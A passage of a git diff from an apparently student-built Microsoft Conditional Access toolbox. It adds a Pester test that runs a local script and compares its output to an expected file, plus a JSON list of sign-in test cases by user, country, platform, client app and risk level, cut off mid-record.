zr$nfqoPs8>D(tAFoJch6f9hz-D)$r?wISLJx@km?goKzDexsk~+8xl#S;Z=yG>uF= ziOirB7D84rV&_~{f6J`}%@Jh>p&3eyh=E(k+*+?RNJQNj1yJabTEEvCE6<2htd<;e zxw>puD4rgIJnF~SvPU#^d(y>*iIiGM4?Xi83bs?_v6cI~`?gp-=@ z#h`E#WhSdMI@gbW`Y36%Ia046l)bF=0(5iG1nBUhLCQ``Yl!mm_jB=z*~6gxk=MRu z4&Xj|q~Ec>y`Hz(%5?g&z5C0+qj<%zy;LXQxh{Am1q-DZ{JXtTsCRhoUasT7bfv)DhgUbD1rKbp=enE`oMtSg!~wNnHKw_zJ5t$a3Xy49K_u zrH?Chex70XBw=cPHrcASjd%HSl`(r`h=5$dkL>&kXUhHy{^G%;R@;ME!Sz{J3e(tb zVbI3|D;%1XFMaslsGN*(I!(B-faB96VqN%xoa_`h(g6ttNf@wd-tQ=zmz_zERE7J{L z{b*bYiG0%Z@Q(e7Y-<4hi||-M64%#V7j3IAqVd;z*iw4wMI#QYyev?PU^g9coE~t} zQ>axQDOb|@3rZ2tgWMI>pp8$>(>CFGFMZ;!so&JpL14seTT7YXJ&FioiwyEZ_c~*8 zF(M@k6DE2{t_0dfqVJQWchbi!bRVR77yWlnaH)Po^6M;uc2d;uFXIUfZ(FBbjr-Y1 zplnBb0mOI)4NO6_q7>nZMNQ3tWl3!<28)Ffi?gy-$4+LDdxE_tAs28Kj1Sq>Ypz=I zQ7YctKdkK3A+OPU!nfSwUvOPr!@Mi=00b#Sfn*>n@^Q^?#-DJ;KmsIO!Y@uOh*`=u3jR9UzT9IfKwTUq?+%y4`{#h zqeIscg@qWTjXWwE=#6Bz-Yo7XryPB_MOcwZx$BnnFLX$6m&$efB^FsAmZHg9wQI}# zS0+3ZCT#@2r*BLUB)*%0rp)(OEq z+k%`IwvDqF*@(z?l4~^@!^8Fgv!uN)q59C+$hexO1HXQJ0yF^+<%^&)1w@8E$ZKL6ByKl;Mj+UxDe^I z)}yceXqnpa;NtJ9YyI6~1p%^a?JC|F9dV58> zTk-KI!VX1xWS*MVSXKs=0?rJ^17ixSR+^DJo$e%TV;K1WeTdYkC{~UniD)QJQjaT_ zAIZvT)htK*J0jYqN}NBOomDi!QPp^-d*cK3^gs*MuCKHH!4|f(h z(URG|eaG(nx?ZFvM~MAZmhMZ_Nx2Tx@As8B_0zO^T@{(|FiJgtboIsCU3=5E#cY^X z+a<;8Oe=nw*)LidAZ*xL11_W|#}ja*=sS-k^goTHlFhXN&NYmJcR5O-*&LN-RMsRC z37)Qw;(Rl<4@XR@?=P&^W#Sgk$WKm?;c@3-CrFwzfFUBeGjoj_NH?}AvSD* zjC$?e%T5EPuW}=vzhEcBFj}caL6_b^)g8*Oy3ZWZjq>I$pCsd0UvL0^l^;|!MIkx6 zbW`actU-L74j<-wWK`>}71DN2&1|za9$w)qNc)_>G9+nC=OA88yVo`sh7pw$nvW1c z4+QjoO=-(NVp&KkrNWl+mt{1fO&q*pNXP(Fy-bU&x{gvTXrlUHwG^{V;#HxA|y0!kkDRJ{KBP)z%!&)Kc8I!`DnVJ|H;nL(pT9 zAMD}Wf7Upj!l@oTTih{IJ_ZIqJ?`P4)f~FEkX;;IESUFCEmEe+!jJM>YSY`(IKM&S z-O`3Xp=NReQ%-Dmp3xIan&==QVFii&!850ed`Xs{ZeDt3>a;fq9Y4?Y9a$F5xS=9O zwb^&3?0eP(d~wDPse}G1PAl}?X^Sz93DZum)c_@40%bj%2#G)bk< zCFGg91Jt^kh=!8jh{OM)$Hyy@rpZ}6UW({eG2k~FtE8G1d_s$|Xhw}bkt#(dMaQ=& zvI&b3-b+d3rA==AP!{EeO7hzOlh6Lx;fyI>8s70hvj|~R(-+OmQ>wJgIXbe(Evxn< zpd}RjZdbqn4?c429EF7Pcs7nGwxWmmjodv?*>(m)a36n3702f4_}<0ySq%rXcFucm zYRH4_>s=!x>9kBJ#eLm$NRe3mGy@mMW~@X8c3> z!J((5sU}9)a{;vux{9?4N34NOZoZ9%r62@?C2X*WOFMCw2mbXYWcj{7UD^DM0Wy7D}*=uS@x|3K&L(yOl(A* z>Nlu`JaiPvnbN{1A@z`TAAHSh^dFq6^_yAq$7=J>p{mO_=jEwci#0E3jQR%}Q0ao^ zM{Qnr?fXzx$p{FQmDbMEp&_={c-RJ({i)Q9E7TXSx*zE?%W(A z$I!hV_RmwPgPn+lH>W5V1CacSn)6t0KW-at8aSHE+C2IjOdPfZw<|ieOC;7;`dd+w zyo(mg7I-{7m<6*X-Tf?G5G3&1*P2-IDmvUg-SY?e-6Z$Y>t(1b zbIVNugYxMseriFm2?l@|Vvv(f5!v{R!P{m{=~!j8OYo{wsZ(1^3On3>Z{BAoUhF`6 zMP*1neQDD>>(FN7b9e7$DReR_$D7)@^%D?|l}?_S@nl~46vYP%_gi9loJ`c$VC) zD_nnQNe1|1nG?T_|E3B-YeKGH1O-X{X!Z@0*^6lQwP-sHcJX0+Wkh^xlc&mLr%)mK zI8=!`@n%3VUz^7TLvPiP#Is+7=MyER0u5Rw@Gx-U&}Z+IUKgo{k)wd$7&k1kFKC5j zsD29H78k9K!p=-3l9$-k(1Ox-oTX<0JXjWUe^Axsg*SicVhE zFlJmv78kR0{Z>0QS3vHfXwr^9l|7ex>G5oCsI>@D27Dxv`>JX(XTz>LCxJa`)8s<^ zTx#&Ung(QEiZgubY?1JMypSmC;ZRa8>BiAnMUI2P*q~7?MlFa039-wr&F@pX!nZ0E z%n{U~c_g`JrP^QQ!h=L(i~@}h0Y5?E#>Rt$3P?sCw9Dt?j+{Y~{Izeiz_ zjLf}6`6cgT+h{~t(!gX+_m>~}hoUSi?(x-Q2%Vu|t>oVud5 z=S{UZXM{2(+najn96apBhzGGyvJ%x5lwyBM?iI7=EbcQZI8ocu9HaCE61WxR`Yn-( zu1yd#X-Aa;0&yso_UL{|Q1I<5zW=c)*txjyj%BxPGw&qMNt(+;C3o#-Pm^W7)oYn| zpf_P)Zz@=Fpqa-`_IWQ^cv>6kAMg>aaqy?WY;Y$mMa2vg_z>Sd%Y(m_X=Q3%a-_f( zcTP}(nb@>CPLZ#^068|l?Xr}$%n1`B)&dIRPY*U%lGp1Op5>*}H>&eN5@M>odqTE}XPa?U$E;z&8 zxT`bo&CWJak1194B+asi-e^$gi zmV%Y2D8mse1=D zrMUtGb=elV+f>aTpU=~S8OFV4O&oz=j?Kv$$K5W&zvG`ze%37wkaosIrv3NVZR+KfB5}S{X1s`->C!7Swl;2i{-<{^n|_iwr65nOly<9s>s+6tiFq zE2S?%S)z~TeD~1zIqR4K-D>Q5Wg{uaWZ*g@$yPA!e5aLw17F832(?Z73A)V~kaI%Y zf#<%KXnRDX-ArS=jDQIPd0*-OHP09IP9@^SZlJdvy(+oH+b=cO1h!pP+3pc&&T7ePZDA!zc?$ zM-_INa3Z7S%`$ED9`bu``l+;Xo>Je^SLZF;$m#4hVeU})=f4$T{3y*>6|e6rs+PgN z9oF7qwVIsN0*h)IDIXM&G-m}m>}>>Gz3l{fNY#nVJIJv$czuDJv?DNky)mU4^4+#D zUJZC5l$V13sOIu$VNnJRATEan$V+{IKm&aI_z|$g&8G?Y%ZB>CuO;-|254*p)Khk` zHFnTp_+f2T6C)$r#f0Q1*N#u}U12j0QZU~f^O??DgzJ4Go#Lmrfz-I&+mL7^ff>4p zeu~TOk>)#d6qgz<>=b-r;T@}ixE>$lZ#hLV){?ia9;0XK7z*=}W~LcN^uo0odL^|b z0SOc3q2x=Xk8Yz`%f84Jwghz4HJ?O@Vly^$`w=GqZ5nho4M2!H!xruVa)Y10M)}Auit`?i7lM||@_YXgHA;xv&mT3vg z#v;W-sW)Psu$3Xbf@~d2$dqLX;6l;T7?k-qVVEaPnHmFsisupE$UwLw`&+pjZm(G| z7aJ2mSg}ik0T+ueY8*ap*t?g}n~qYFR!lMZG4)po&igJ1q+b~aDx{(tD2K@3vh>ei zhU1B=4Rv3BDewyW3U+pycZ2z#6fi7n`3r&p0BaC{_Y{DEqXGUe38h%7>muL)K<-BX z0O>CY`QKgV@AgKFCf~mUjqRELlaGI@@pn*NJU;*c8ax01%HPz!@67*E+c;Vq7~7lM znEpvG%v+?$vt9LL40^ijRf0CygCOg)>H>~dc;J=4&e+T~8ybVxU z-@wZFPx^AGS`p)S`*dgk0OH@m*TMe(@IV(U<39#>_4)||;s5~rPr?4-T?662Vx#Yd zj@Iuz`cJXRe``P(Ea@Hxr{2ecG}1JM5_R1p8K1#4p?bA3j0YkgB=76w}z(|^V$*3A4x z_x|lK;RF7G@VWs1-wXiFjIE6s|L66OeTZ9Kb5h$D8~`8jPZy_m|3&=81?!(&416+F zr4a@LIEjG$!$qhWrKD_9w)On(dpG{RhBU!H0h|L@wjwzYrXMM4+pikQ@R4t!Mvi$O$UkzYtu1 zLdij zZ~%ZQ_Ma^=R7d$2of4%tp-A3I0zY)xT>=}Rk_59Ce>i;(31e`xzwB)5A-_MBu Rct!^pLIMDNAe{Gi{|{X<){y`J literal 0 HcmV?d00001 diff --git a/CSTijgers/DCToolbox-main/Scripts&Testcases/Test-PowerShellCommand-device.ps1 b/CSTijgers/DCToolbox-main/Scripts&Testcases/Test-PowerShellCommand-device.ps1 new file mode 100644 index 0000000..90267cb --- /dev/null +++ b/CSTijgers/DCToolbox-main/Scripts&Testcases/Test-PowerShellCommand-device.ps1 @@ -0,0 +1,26 @@ +# Test-PowerShellCommand-device.ps1 +Describe "Test Command Output for Conditional Access Simulation" { + It "should match the expected output from file" { + # Path to the .txt file containing the original script + $scriptPath = "D:\HBO-ICT\CST\project\command2device.txt" + + # Read the contents of the file and execute it + $scriptContent = Get-Content -Path $scriptPath -Raw + + # Create a temporary file to capture the output (instead of using Write-Host) + $outputFile = "D:\HBO-ICT\CST\project\test_output_device.txt" + + # Redirect the output of the script to a file + Invoke-Expression -Command $scriptContent | Out-File -FilePath $outputFile -Force + + # Read the expected output from the expected output file + $expectedOutputFile = "D:\HBO-ICT\CST\project\expected_output_device.txt" + $expectedOutput = Get-Content -Path $expectedOutputFile -Raw + + # Read the actual output from the captured file + $actualOutput = Get-Content -Path $outputFile -Raw + + # Compare the actual output to the expected output + $actualOutput | Should -BeExactly $expectedOutput + } +} diff --git a/CSTijgers/DCToolbox-main/Scripts&Testcases/test_cases_100.json b/CSTijgers/DCToolbox-main/Scripts&Testcases/test_cases_100.json new file mode 100644 index 0000000..ef02bdc --- /dev/null +++ b/CSTijgers/DCToolbox-main/Scripts&Testcases/test_cases_100.json @@ -0,0 +1,1002 @@ +[ + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "CN", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "CN", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "All", + "Country": "KP", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "SE", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "DE", + "Platform": "ios", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "SE", + "Platform": "macOS", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "RU", + "Platform": "linux", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "RU", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "DE", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "RU", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "DE", + "Platform": "linux", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "KP", + "Platform": "linux", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IR", + "Platform": "android", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "RU", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "NL", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "SY", + "Platform": "android", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "IR", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "CN", + "Platform": "android", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "CN", + "Platform": "android", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "BE", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "BE", + "Platform": "android", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "All", + "Country": "KP", + "Platform": "windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "FR", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "DE", + "Platform": "windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "BE", + "Platform": "ios", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "CN", + "Platform": "linux", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IR", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "SY", + "Platform": "linux", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "IR", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "CN", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "BE", + "Platform": "linux", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "CN", + "Platform": "ios", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "ES", + "Platform": "linux", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "KP", + "Platform": "android", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "SY", + "Platform": "windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "CN", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "DE", + "Platform": "linux", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "ES", + "Platform": "windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "ES", + "Platform": "android", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "KP", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IR", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "FR", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "NL", + "Platform": "linux", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "linux", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "BE", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "CN", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "linux", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "KP", + "Platform": "windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "BE", + "Platform": "macOS", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "BE", + "Platform": "android", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "IR", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "BE", + "Platform": "linux", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "SY", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "ES", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "ES", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "IT", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "BE", + "Platform": "macOS", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "FR", + "Platform": "android", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "RU", + "Platform": "windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "ES", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "CN", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "RU", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "FR", + "Platform": "macOS", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "IT", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "BE", + "Platform": "windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "IR", + "Platform": "android", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "ES", + "Platform": "windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "IR", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "linux", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "SE", + "Platform": "android", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "SY", + "Platform": "linux", + "ApplicationDisplayName": "All", + "ClientApp": 